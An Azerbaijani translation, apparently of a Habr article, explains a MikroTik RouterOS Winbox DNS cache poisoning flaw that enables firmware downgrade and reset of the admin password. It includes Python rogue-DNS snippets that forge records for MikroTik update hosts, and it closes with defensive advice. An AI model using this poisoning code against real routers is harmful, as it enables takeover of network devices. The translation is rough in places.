RouterOS (Mikrotik) əsasında cihazları uzaqdan endirmək imkanı yüz minlərlə şəbəkə cihazını təhlükə altına qoyur. Zəiflik Winbox protokolunun DNS keşinin zəhərlənməsi ilə bağlıdır və köhnəlmiş (defolt parol sıfırlama ilə) və ya dəyişdirilmiş proqram təminatını cihaza yükləməyə imkan verir.
Zəifliyin təfərrüatları
RouterOS terminalı DNS axtarışları üçün həll əmrini dəstəkləyir.
Bu sorğu ikili adlı həlledici tərəfindən idarə olunur. Resolver, RouterOS-un Winbox protokoluna qoşulan bir çox binarlardan biridir. Yüksək səviyyədə Winbox portuna göndərilən "mesajlar" massiv əsaslı nömrələmə sxemi əsasında RouterOS-da müxtəlif binar sistemlərə yönləndirilə bilər.
DNS server funksiyası RouterOS-da defolt olaraq qeyri-aktivdir.
Bununla belə, server funksiyası qeyri-aktiv olsa belə, marşrutlaşdırıcı öz DNS keşini saxlayır.
Biz example.com kimi winbox_dns_request istifadə edərək sorğu etdikdə, marşrutlaşdırıcı nəticəni önbelleğe alacaq.
Sorğunun keçəcəyi DNS serverini təyin edə bildiyimiz üçün səhv ünvanlar daxil etmək mənasızdır. Məsələn, DNS server tətbiqini konfiqurasiya edə bilərsiniz
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
İndi example.com-da axtarış etmək üçün Winbox-dan istifadə etsəniz, marşrutlaşdırıcının DNS keşinin zəhərləndiyini görə bilərsiniz.
Əlbəttə ki, example.com-u zəhərləmək çox faydalı deyil, çünki marşrutlaşdırıcı ondan istifadə etməyəcək. Bununla belə, marşrutlaşdırıcının upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com və download.mikrotik.com saytına daxil olması lazımdır. Və başqa bir səhv sayəsində hamısını bir anda zəhərləmək mümkündür.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Router bir qrant tələb edir və biz beşini geri veririk. Router bütün bu cavabları səhv olaraq yaddaşda saxlayır.
Aydındır ki, bu hücum marşrutlaşdırıcının DNS serveri kimi fəaliyyət göstərdiyi təqdirdə də faydalıdır, çünki o, marşrutlaşdırıcının müştərilərinə hücum etməyə imkan verir.
Həmçinin, bu hücum daha ciddi zəiflikdən istifadə etməyə imkan verir: RouterOS versiyasının aşağı salınması və ya geri göndərilməsi. Təcavüzkar yeniləmə serverinin məntiqini, o cümlədən dəyişiklik jurnalını yenidən yaradır və RouterOS-u köhnəlmiş (həssas) versiyanı yeni kimi qəbul etməyə məcbur edir. Buradakı təhlükə ondan ibarətdir ki, siz versiyanı “yeniləşdirən” zaman administrator parolu “standart” dəyərə sıfırlanır – təcavüzkar boş parolla daxil ola bilər!
Hücum buna baxmayaraq olduqca işləyir
müdafiə
Sadəcə Winbox-u söndürmək bu hücumlardan qorunmağa kömək edir. Winbox vasitəsilə idarəetmənin rahatlığına baxmayaraq, SSH protokolundan istifadə etmək daha yaxşıdır.
Mənbə: www.habr.com